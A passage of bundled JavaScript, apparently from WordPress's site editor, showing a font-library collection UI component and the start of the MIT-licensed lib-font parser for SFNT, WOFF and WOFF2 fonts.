    // If the selected fonts change, reset the selected fonts to install
    setFontsToInstall([]);
  }, [selectedFont]);
  const collectionFonts = (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _selectedCollection$f;
    return (_selectedCollection$f = selectedCollection?.font_families) !== null && _selectedCollection$f !== void 0 ? _selectedCollection$f : [];
  }, [selectedCollection]);
  const collectionCategories = (_selectedCollection$c = selectedCollection?.categories) !== null && _selectedCollection$c !== void 0 ? _selectedCollection$c : [];
  const categories = [DEFAULT_CATEGORY, ...collectionCategories];
  const fonts = (0,external_wp_element_namespaceObject.useMemo)(() => filterFonts(collectionFonts, filters), [collectionFonts, filters]);
  const isLoading = !selectedCollection?.font_families && !notice;

  // NOTE: The height of the font library modal unavailable to use for rendering font family items is roughly 417px
  // The height of each font family item is 61px.
  const windowHeight = Math.max(window.innerHeight, MIN_WINDOW_HEIGHT);
  const pageSize = Math.floor((windowHeight - 417) / 61);
  const totalPages = Math.ceil(fonts.length / pageSize);
  const itemsStart = (page - 1) * pageSize;
  const itemsLimit = page * pageSize;
  const items = fonts.slice(itemsStart, itemsLimit);
  const handleCategoryFilter = category => {
    setFilters({
      ...filters,
      category
    });
    setPage(1);
  };
  const handleUpdateSearchInput = value => {
    setFilters({
      ...filters,
      search: value
    });
    setPage(1);
  };
  const debouncedUpdateSearchInput = (0,external_wp_compose_namespaceObject.debounce)(handleUpdateSearchInput, 300);
  const resetFilters = () => {
    setFilters({});
    setPage(1);
  };
  const handleToggleVariant = (font, face) => {
    const newFontsToInstall = toggleFont(font, face, fontsToInstall);
    setFontsToInstall(newFontsToInstall);
  };
  const fontToInstallOutline = getFontsOutline(fontsToInstall);
  const resetFontsToInstall = () => {
    setFontsToInstall([]);
  };
  const selectFontCount = fontsToInstall.length > 0 ? fontsToInstall[0]?.fontFace?.length : 0;

  // Check if any fonts are selected.
  const isIndeterminate = selectFontCount > 0 && selectFontCount !== selectedFont?.fontFace?.length;

  // Check if all fonts are selected.
  const isSelectAllChecked = selectFontCount === selectedFont?.fontFace?.length;

  // Toggle select all fonts.
  const toggleSelectAll = () => {
    const newFonts = isSelectAllChecked ? [] : [selectedFont];
    setFontsToInstall(newFonts);
  };
  const handleInstall = async () => {
    setNotice(null);
    const fontFamily = fontsToInstall[0];
    try {
      if (fontFamily?.fontFace) {
        await Promise.all(fontFamily.fontFace.map(async fontFace => {
          if (fontFace.src) {
            fontFace.file = await downloadFontFaceAssets(fontFace.src);
          }
        }));
      }
    } catch (error) {
      // If any of the fonts fail to download,
      // show an error notice and stop the request from being sent.
      setNotice({
        type: 'error',
        message: (0,external_wp_i18n_namespaceObject.__)('Error installing the fonts, could not be downloaded.')
      });
      return;
    }
    try {
      await installFonts([fontFamily]);
      setNotice({
        type: 'success',
        message: (0,external_wp_i18n_namespaceObject.__)('Fonts were installed successfully.')
      });
    } catch (error) {
      setNotice({
        type: 'error',
        message: error.message
      });
    }
    resetFontsToInstall();
  };
  const getSortedFontFaces = fontFamily => {
    if (!fontFamily) {
      return [];
    }
    if (!fontFamily.fontFace || !fontFamily.fontFace.length) {
      return [{
        fontFamily: fontFamily.fontFamily,
        fontStyle: 'normal',
        fontWeight: '400'
      }];
    }
    return sortFontFaces(fontFamily.fontFace);
  };
  if (renderConfirmDialog) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(google_fonts_confirm_dialog, {});
  }
  const ActionsComponent = () => {
    if (slug !== 'google-fonts' || renderConfirmDialog || selectedFont) {
      return null;
    }
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
      icon: more_vertical,
      label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
      popoverProps: {
        position: 'bottom left'
      },
      controls: [{
        title: (0,external_wp_i18n_namespaceObject.__)('Revoke access to Google Fonts'),
        onClick: revokeAccess
      }]
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "font-library-modal__tabpanel-layout",
    children: [isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "font-library-modal__loading",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {})
    }), !isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator, {
        initialPath: "/",
        className: "font-library-modal__tabpanel-layout",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, {
          path: "/",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
            justify: "space-between",
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
                level: 2,
                size: 13,
                children: selectedCollection.name
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
                children: selectedCollection.description
              })]
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsComponent, {})]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            margin: 4
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
                className: "font-library-modal__search",
                value: filters.search,
                placeholder: (0,external_wp_i18n_namespaceObject.__)('Font name…'),
                label: (0,external_wp_i18n_namespaceObject.__)('Search'),
                onChange: debouncedUpdateSearchInput,
                __nextHasNoMarginBottom: true,
                hideLabelFromVision: false
              })
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
                __nextHasNoMarginBottom: true,
                __next40pxDefaultSize: true,
                label: (0,external_wp_i18n_namespaceObject.__)('Category'),
                value: filters.category,
                onChange: handleCategoryFilter,
                children: categories && categories.map(category => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("option", {
                  value: category.slug,
                  children: category.name
                }, category.slug))
              })
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            margin: 4
          }), !!selectedCollection?.font_families?.length && !fonts.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            children: (0,external_wp_i18n_namespaceObject.__)('No fonts found. Try with a different search term')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: "font-library-modal__fonts-grid__main",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
              role: "list",
              className: "font-library-modal__fonts-list",
              children: items.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
                className: "font-library-modal__fonts-list-item",
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_card, {
                  font: font.font_family_settings,
                  navigatorPath: "/fontFamily",
                  onClick: () => {
                    setSelectedFont(font.font_family_settings);
                  }
                })
              }, font.font_family_settings.slug))
            })
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, {
          path: "/fontFamily",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
            justify: "flex-start",
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.BackButton, {
              icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
              size: "small",
              onClick: () => {
                setSelectedFont(null);
                setNotice(null);
              },
              label: (0,external_wp_i18n_namespaceObject.__)('Back')
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
              level: 2,
              size: 13,
              className: "edit-site-global-styles-header",
              children: selectedFont?.name
            })]
          }), notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
              margin: 1
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
              status: notice.type,
              onRemove: () => setNotice(null),
              children: notice.message
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
              margin: 1
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            margin: 4
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            children: (0,external_wp_i18n_namespaceObject.__)('Select font variants to install.')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            margin: 4
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
            className: "font-library-modal__select-all",
            label: (0,external_wp_i18n_namespaceObject.__)('Select all'),
            checked: isSelectAllChecked,
            onChange: toggleSelectAll,
            indeterminate: isIndeterminate,
            __nextHasNoMarginBottom: true
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
            spacing: 0,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
              role: "list",
              className: "font-library-modal__fonts-list",
              children: getSortedFontFaces(selectedFont).map((face, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
                className: "font-library-modal__fonts-list-item",
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(collection_font_variant, {
                  font: selectedFont,
                  face: face,
                  handleToggleVariant: handleToggleVariant,
                  selected: isFontFontFaceInOutline(selectedFont.slug, selectedFont.fontFace ? face : null,
                  // If the font has no fontFace, we want to check if the font is in the outline
                  fontToInstallOutline)
                })
              }, `face${i}`))
            })
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            margin: 16
          })]
        })]
      }), selectedFont && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
        justify: "flex-end",
        className: "font-library-modal__footer",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          onClick: handleInstall,
          isBusy: isInstalling,
          disabled: fontsToInstall.length === 0 || isInstalling,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Install')
        })
      }), !selectedFont && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        expanded: false,
        className: "font-library-modal__footer",
        justify: "end",
        spacing: 6,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
          justify: "flex-start",
          expanded: false,
          spacing: 1,
          className: "font-library-modal__page-selection",
          children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(
          // translators: 1: Current page number, 2: Total number of pages.
          (0,external_wp_i18n_namespaceObject._x)('<div>Page</div>%1$s<div>of %2$s</div>', 'paging'), '<CurrentPage />', totalPages), {
            div: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
              "aria-hidden": true
            }),
            CurrentPage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
              "aria-label": (0,external_wp_i18n_namespaceObject.__)('Current page'),
              value: page,
              options: [...Array(totalPages)].map((e, i) => {
                return {
                  label: i + 1,
                  value: i + 1
                };
              }),
              onChange: newPage => setPage(parseInt(newPage)),
              size: "small",
              __nextHasNoMarginBottom: true,
              variant: "minimal"
            })
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          expanded: false,
          spacing: 1,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            onClick: () => setPage(page - 1),
            disabled: page === 1,
            accessibleWhenDisabled: true,
            label: (0,external_wp_i18n_namespaceObject.__)('Previous page'),
            icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_next : library_previous,
            showTooltip: true,
            size: "compact",
            tooltipPosition: "top"
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            onClick: () => setPage(page + 1),
            disabled: page === totalPages,
            accessibleWhenDisabled: true,
            label: (0,external_wp_i18n_namespaceObject.__)('Next page'),
            icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_previous : library_next,
            showTooltip: true,
            size: "compact",
            tooltipPosition: "top"
          })]
        })]
      })]
    })]
  });
}
/* harmony default export */ const font_collection = (FontCollection);

// EXTERNAL MODULE: ./node_modules/@wordpress/edit-site/lib/unbrotli.js
var unbrotli = __webpack_require__(8572);
var unbrotli_default = /*#__PURE__*/__webpack_require__.n(unbrotli);
// EXTERNAL MODULE: ./node_modules/@wordpress/edit-site/lib/inflate.js
var inflate = __webpack_require__(4660);
var inflate_default = /*#__PURE__*/__webpack_require__.n(inflate);
;// ./node_modules/@wordpress/edit-site/lib/lib-font.browser.js
/**
 * Credits:
 *
 * lib-font
 * https://github.com/Pomax/lib-font
 * https://github.com/Pomax/lib-font/blob/master/lib-font.browser.js
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2020 pomax@nihongoresources.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */

/* eslint eslint-comments/no-unlimited-disable: 0 */
/* eslint-disable */
// import pako from 'pako';



let fetchFunction = globalThis.fetch;
// if ( ! fetchFunction ) {
// 	let backlog = [];
// 	fetchFunction = globalThis.fetch = ( ...args ) =>
// 		new Promise( ( resolve, reject ) => {
// 			backlog.push( { args: args, resolve: resolve, reject: reject } );
// 		} );
// 	import( 'fs' )
// 		.then( ( fs ) => {
// 			fetchFunction = globalThis.fetch = async function ( path ) {
// 				return new Promise( ( resolve, reject ) => {
// 					fs.readFile( path, ( err, data ) => {
// 						if ( err ) return reject( err );
// 						resolve( { ok: true, arrayBuffer: () => data.buffer } );
// 					} );
// 				} );
// 			};
// 			while ( backlog.length ) {
// 				let instruction = backlog.shift();
// 				fetchFunction( ...instruction.args )
// 					.then( ( data ) => instruction.resolve( data ) )
// 					.catch( ( err ) => instruction.reject( err ) );
// 			}
// 		} )
// 		.catch( ( err ) => {
// 			console.error( err );
// 			throw new Error(
// 				`lib-font cannot run unless either the Fetch API or Node's filesystem module is available.`
// 			);
// 		} );
// }
class lib_font_browser_Event {
	constructor( type, detail = {}, msg ) {
		this.type = type;
		this.detail = detail;
		this.msg = msg;
		Object.defineProperty( this, `__mayPropagate`, {
			enumerable: false,
			writable: true,
		} );
		this.__mayPropagate = true;
	}
	preventDefault() {}
	stopPropagation() {
		this.__mayPropagate = false;
	}
	valueOf() {
		return this;
	}
	toString() {
		return this.msg
			? `[${ this.type } event]: ${ this.msg }`
			: `[${ this.type } event]`;
	}
}
class EventManager {
	constructor() {
		this.listeners = {};
	}
	addEventListener( type, listener, useCapture ) {
		let bin = this.listeners[ type ] || [];
		if ( useCapture ) bin.unshift( listener );
		else bin.push( listener );
		this.listeners[ type ] = bin;
	}
	removeEventListener( type, listener ) {
		let bin = this.listeners[ type ] || [];
		let pos = bin.findIndex( ( e ) => e === listener );
		if ( pos > -1 ) {
			bin.splice( pos, 1 );
			this.listeners[ type ] = bin;
		}
	}
	dispatch( event ) {
		let bin = this.listeners[ event.type ];
		if ( bin ) {
			for ( let l = 0, e = bin.length; l < e; l++ ) {
				if ( ! event.__mayPropagate ) break;
				bin[ l ]( event );
			}
		}
	}
}
const startDate = new Date( `1904-01-01T00:00:00+0000` ).getTime();
function asText( data ) {
	return Array.from( data )
		.map( ( v ) => String.fromCharCode( v ) )
		.join( `` );
}
class Parser {
	constructor( dict, dataview, name ) {
		this.name = ( name || dict.tag || `` ).trim();
		this.length = dict.length;
		this.start = dict.offset;
		this.offset = 0;
		this.data = dataview;
		[
			`getInt8`,
			`getUint8`,
			`getInt16`,
			`getUint16`,
			`getInt32`,
			`getUint32`,
			`getBigInt64`,
			`getBigUint64`,
		].forEach( ( name ) => {
			let fn = name.replace( /get(Big)?/, '' ).toLowerCase();
			let increment = parseInt( name.replace( /[^\d]/g, '' ) ) / 8;
			Object.defineProperty( this, fn, {
				get: () => this.getValue( name, increment ),
			} );
		} );
	}
	get currentPosition() {
		return this.start + this.offset;
	}
	set currentPosition( position ) {
		this.start = position;
		this.offset = 0;
	}
	skip( n = 0, bits = 8 ) {
		this.offset += ( n * bits ) / 8;
	}
	getValue( type, increment ) {
		let pos = this.start + this.offset;
		this.offset += increment;
		try {
			return this.data[ type ]( pos );
		} catch ( e ) {
			console.error( `parser`, type, increment, this );
			console.error( `parser`, this.start, this.offset );
			throw e;
		}
	}
	flags( n ) {
		if ( n === 8 || n === 16 || n === 32 || n === 64 ) {
			return this[ `uint${ n }` ]
				.toString( 2 )
				.padStart( n, 0 )
				.split( `` )
				.map( ( v ) => v === '1' );
		}
		console.error(
			`Error parsing flags: flag types can only be 1, 2, 4, or 8 bytes long`
		);
		console.trace();
	}
	get tag() {
		const t = this.uint32;
		return asText( [
			( t >> 24 ) & 255,
			( t >> 16 ) & 255,
			( t >> 8 ) & 255,
			t & 255,
		] );
	}
	get fixed() {
		let major = this.int16;
		let minor = Math.round( ( 1e3 * this.uint16 ) / 65356 );
		return major + minor / 1e3;
	}
	get legacyFixed() {
		let major = this.uint16;
		let minor = this.uint16.toString( 16 ).padStart( 4, 0 );
		return parseFloat( `${ major }.${ minor }` );
	}
	get uint24() {
		return ( this.uint8 << 16 ) + ( this.uint8 << 8 ) + this.uint8;
	}
	get uint128() {
		let value = 0;
		for ( let i = 0; i < 5; i++ ) {
			let byte = this.uint8;
			value = value * 128 + ( byte & 127 );
			if ( byte < 128 ) break;
		}
		return value;
	}
	get longdatetime() {
		return new Date( startDate + 1e3 * parseInt( this.int64.toString() ) );
	}
	get fword() {
		return this.int16;
	}
	get ufword() {
		return this.uint16;
	}
	get Offset16() {
		return this.uint16;
	}
	get Offset32() {
		return this.uint32;
	}
	get F2DOT14() {
		const bits = p.uint16;
		const integer = [ 0, 1, -2, -1 ][ bits >> 14 ];
		const fraction = bits & 16383;
		return integer + fraction / 16384;
	}
	verifyLength() {
		if ( this.offset != this.length ) {
			console.error(
				`unexpected parsed table size (${ this.offset }) for "${ this.name }" (expected ${ this.length })`
			);
		}
	}
	readBytes( n = 0, position = 0, bits = 8, signed = false ) {
		n = n || this.length;
		if ( n === 0 ) return [];
		if ( position ) this.currentPosition = position;
		const fn = `${ signed ? `` : `u` }int${ bits }`,
			slice = [];
		while ( n-- ) slice.push( this[ fn ] );
		return slice;
	}
}
class ParsedData {
	constructor( parser ) {
		const pGetter = { enumerable: false, get: () => parser };
		Object.defineProperty( this, `parser`, pGetter );
		const start = parser.currentPosition;
		const startGetter = { enumerable: false, get: () => start };
		Object.defineProperty( this, `start`, startGetter );
	}
	load( struct ) {
		Object.keys( struct ).forEach( ( p ) => {
			let props = Object.getOwnPropertyDescriptor( struct, p );
			if ( props.get ) {
				this[ p ] = props.get.bind( this );
			} else if ( props.value !== undefined ) {
				this[ p ] = props.value;
			}
		} );
		if ( this.parser.length ) {
			this.parser.verifyLength();
		}
	}
}
class SimpleTable extends ParsedData {
	constructor( dict, dataview, name ) {
		const { parser: parser, start: start } = super(
			new Parser( dict, dataview, name )
		);
		const pGetter = { enumerable: false, get: () => parser };
		Object.defineProperty( this, `p`, pGetter );
		const startGetter = { enumerable: false, get: () => start };
		Object.defineProperty( this, `tableStart`, startGetter );
	}
}
function lazy$1( object, property, getter ) {
	let val;
	Object.defineProperty( object, property, {
		get: () => {
			if ( val ) return val;
			val = getter();
			return val;
		},
		enumerable: true,
	} );
}
class SFNT extends SimpleTable {
	constructor( font, dataview, createTable ) {
		const { p: p } = super( { offset: 0, length: 12 }, dataview, `sfnt` );
		this.version = p.uint32;
		this.numTables = p.uint16;
		this.searchRange = p.uint16;
		this.entrySelector = p.uint16;
		this.rangeShift = p.uint16;
		p.verifyLength();
		this.directory = [ ...new Array( this.numTables ) ].map(
			( _ ) => new TableRecord( p )
		);
		this.tables = {};
		this.directory.forEach( ( entry ) => {
			const getter = () =>
				createTable(
					this.tables,
					{
						tag: entry.tag,
						offset: entry.offset,
						length: entry.length,
					},
					dataview
				);
			lazy$1( this.tables, entry.tag.trim(), getter );
		} );
	}
}
class TableRecord {
	constructor( p ) {
		this.tag = p.tag;
		this.checksum = p.uint32;
		this.offset = p.uint32;
		this.length = p.uint32;
	}
}
const gzipDecode = (inflate_default()).inflate || undefined;
let nativeGzipDecode = undefined;
// if ( ! gzipDecode ) {
// 	import( 'zlib' ).then( ( zlib ) => {
// 		nativeGzipDecode = ( buffer ) => zlib.unzipSync( buffer );
// 	} );
// }
class WOFF$1 extends SimpleTable {
	constructor( font, dataview, createTable ) {
		const { p: p } = super( { offset: 0, length: 44 }, dataview, `woff` );
		this.signature = p.tag;
		this.flavor = p.uint32;
		this.length = p.uint32;
		this.numTables = p.uint16;
		p.uint16;
		this.totalSfntSize = p.uint32;
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.metaOffset = p.uint32;
		this.metaLength = p.uint32;
		this.metaOrigLength = p.uint32;
		this.privOffset = p.uint32;
		this.privLength = p.uint32;
		p.verifyLength();
		this.directory = [ ...new Array( this.numTables ) ].map(
			( _ ) => new WoffTableDirectoryEntry( p )
		);
		buildWoffLazyLookups( this, dataview, createTable );
	}
}
class WoffTableDirectoryEntry {
	constructor( p ) {
		this.tag = p.tag;
		this.offset = p.uint32;
		this.compLength = p.uint32;
		this.origLength = p.uint32;
		this.origChecksum = p.uint32;
	}
}
function buildWoffLazyLookups( woff, dataview, createTable ) {
	woff.tables = {};
	woff.directory.forEach( ( entry ) => {
		lazy$1( woff.tables, entry.tag.trim(), () => {
			let offset = 0;
			let view = dataview;
			if ( entry.compLength !== entry.origLength ) {
				const data = dataview.buffer.slice(
					entry.offset,
					entry.offset + entry.compLength
				);
				let unpacked;
				if ( gzipDecode ) {
					unpacked = gzipDecode( new Uint8Array( data ) );
				} else if ( nativeGzipDecode ) {
					unpacked = nativeGzipDecode( new Uint8Array( data ) );
				} else {
					const msg = `no brotli decoder available to decode WOFF2 font`;
					if ( font.onerror ) font.onerror( msg );
					throw new Error( msg );
				}
				view = new DataView( unpacked.buffer );
			} else {
				offset = entry.offset;
			}
			return createTable(
				woff.tables,
				{ tag: entry.tag, offset: offset, length: entry.origLength },
				view
			);
		} );
	} );
}
const brotliDecode = (unbrotli_default());
let nativeBrotliDecode = undefined;
// if ( ! brotliDecode ) {
// 	import( 'zlib' ).then( ( zlib ) => {
// 		nativeBrotliDecode = ( buffer ) => zlib.brotliDecompressSync( buffer );
// 	} );
// }
class WOFF2$1 extends SimpleTable {
	constructor( font, dataview, createTable ) {
		const { p: p } = super( { offset: 0, length: 48 }, dataview, `woff2` );
		this.signature = p.tag;
		this.flavor = p.uint32;
		this.length = p.uint32;
		this.numTables = p.uint16;
		p.uint16;
		this.totalSfntSize = p.uint32;
		this.totalCompressedSize = p.uint32;
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.metaOffset = p.uint32;
		this.metaLength = p.uint32;
		this.metaOrigLength = p.uint32;
		this.privOffset = p.uint32;
		this.privLength = p.uint32;
		p.verifyLength();
		this.directory = [ ...new Array( this.numTables ) ].map(
			( _ ) => new Woff2TableDirectoryEntry( p )
		);
		let dictOffset = p.currentPosition;
		this.directory[ 0 ].offset = 0;
		this.directory.forEach( ( e, i ) => {
			let next = this.directory[ i + 1 ];
			if ( next ) {
				next.offset =
					e.offset +
					( e.transformLength !== undefined
						? e.transformLength
						: e.origLength );
			}
		} );
		let decoded;
		let buffer = dataview.buffer.slice( dictOffset );
		if ( brotliDecode ) {
			decoded = brotliDecode( new Uint8Array( buffer ) );
		} else if ( nativeBrotliDecode ) {
			decoded = new Uint8Array( nativeBrotliDecode( buffer ) );
		} else {
			const msg = `no brotli decoder available to decode WOFF2 font`;
			if ( font.onerror ) font.onerror( msg );
			throw new Error( msg );
		}
		buildWoff2LazyLookups( this, decoded, createTable );
	}
}
class Woff2TableDirectoryEntry {
	constructor( p ) {
		this.flags = p.uint8;
		const tagNumber = ( this.tagNumber = this.flags & 63 );
		if ( tagNumber === 63 ) {
			this.tag = p.tag;
		} else {
			this.tag = getWOFF2Tag( tagNumber );
		}
		const transformVersion = ( this.transformVersion =
			( this.flags & 192 ) >> 6 );
		let hasTransforms = transformVersion !== 0;
		if ( this.tag === `glyf` || this.tag === `loca` ) {
			hasTransforms = this.transformVersion !== 3;
		}
		this.origLength = p.uint128;
		if ( hasTransforms ) {
			this.transformLength = p.uint128;
		}
	}
}
function buildWoff2LazyLookups( woff2, decoded, createTable ) {
	woff2.tables = {};
	woff2.directory.forEach( ( entry ) => {
		lazy$1( woff2.tables, entry.tag.trim(), () => {
			const start = entry.offset;
			const end =
				start +
				( entry.transformLength
					? entry.transformLength
					: entry.origLength );
			const data = new DataView( decoded.slice( start, end ).buffer );
			try {
				return createTable(
					woff2.tables,
					{ tag: entry.tag, offset: 0, length: entry.origLength },
					data
				);
			} catch ( e ) {
				console.error( e );
			}
		} );
	} );
}
function getWOFF2Tag( flag ) {
	return [
		`cmap`,
		`head`,
		`hhea`,
		`hmtx`,
		`maxp`,
		`name`,
		`OS/2`,
		`post`,
		`cvt `,
		`fpgm`,
		`glyf`,
		`loca`,
		`prep`,
		`CFF `,
		`VORG`,
		`EBDT`,
		`EBLC`,
		`gasp`,
		`hdmx`,
		`kern`,
		`LTSH`,
		`PCLT`,
		`VDMX`,
		`vhea`,
		`vmtx`,
		`BASE`,
		`GDEF`,
		`GPOS`,
		`GSUB`,
		`EBSC`,
		`JSTF`,
		`MATH`,
		`CBDT`,
		`CBLC`,
		`COLR`,
		`CPAL`,
		`SVG `,
		`sbix`,
		`acnt`,
		`avar`,
		`bdat`,
		`bloc`,
		`bsln`,
		`cvar`,
		`fdsc`,
		`feat`,
		`fmtx`,
		`fvar`,
		`gvar`,
		`hsty`,
		`just`,
		`lcar`,
		`mort`,
		`morx`,
		`opbd`,
		`prop`,
		`trak`,
		`Zapf`,
		`Silf`,
		`Glat`,
		`Gloc`,
		`Feat`,
		`Sill`,
	][ flag & 63 ];
}
const tableClasses = {};
let tableClassesLoaded = false;
Promise.all( [
	Promise.resolve().then( function () {
		return cmap$1;
	} ),
	Promise.resolve().then( function () {
		return head$1;
	} ),
	Promise.resolve().then( function () {
		return hhea$1;
	} ),
	Promise.resolve().then( function () {
		return hmtx$1;
	} ),
	Promise.resolve().then( function () {
		return maxp$1;
	} ),
	Promise.resolve().then( function () {
		return name$1;
	} ),
	Promise.resolve().then( function () {
		return OS2$1;
	} ),
	Promise.resolve().then( function () {
		return post$1;
	} ),
	Promise.resolve().then( function () {
		return BASE$1;
	} ),
	Promise.resolve().then( function () {
		return GDEF$1;
	} ),
	Promise.resolve().then( function () {
		return GSUB$1;
	} ),
	Promise.resolve().then( function () {
		return GPOS$1;
	} ),
	Promise.resolve().then( function () {
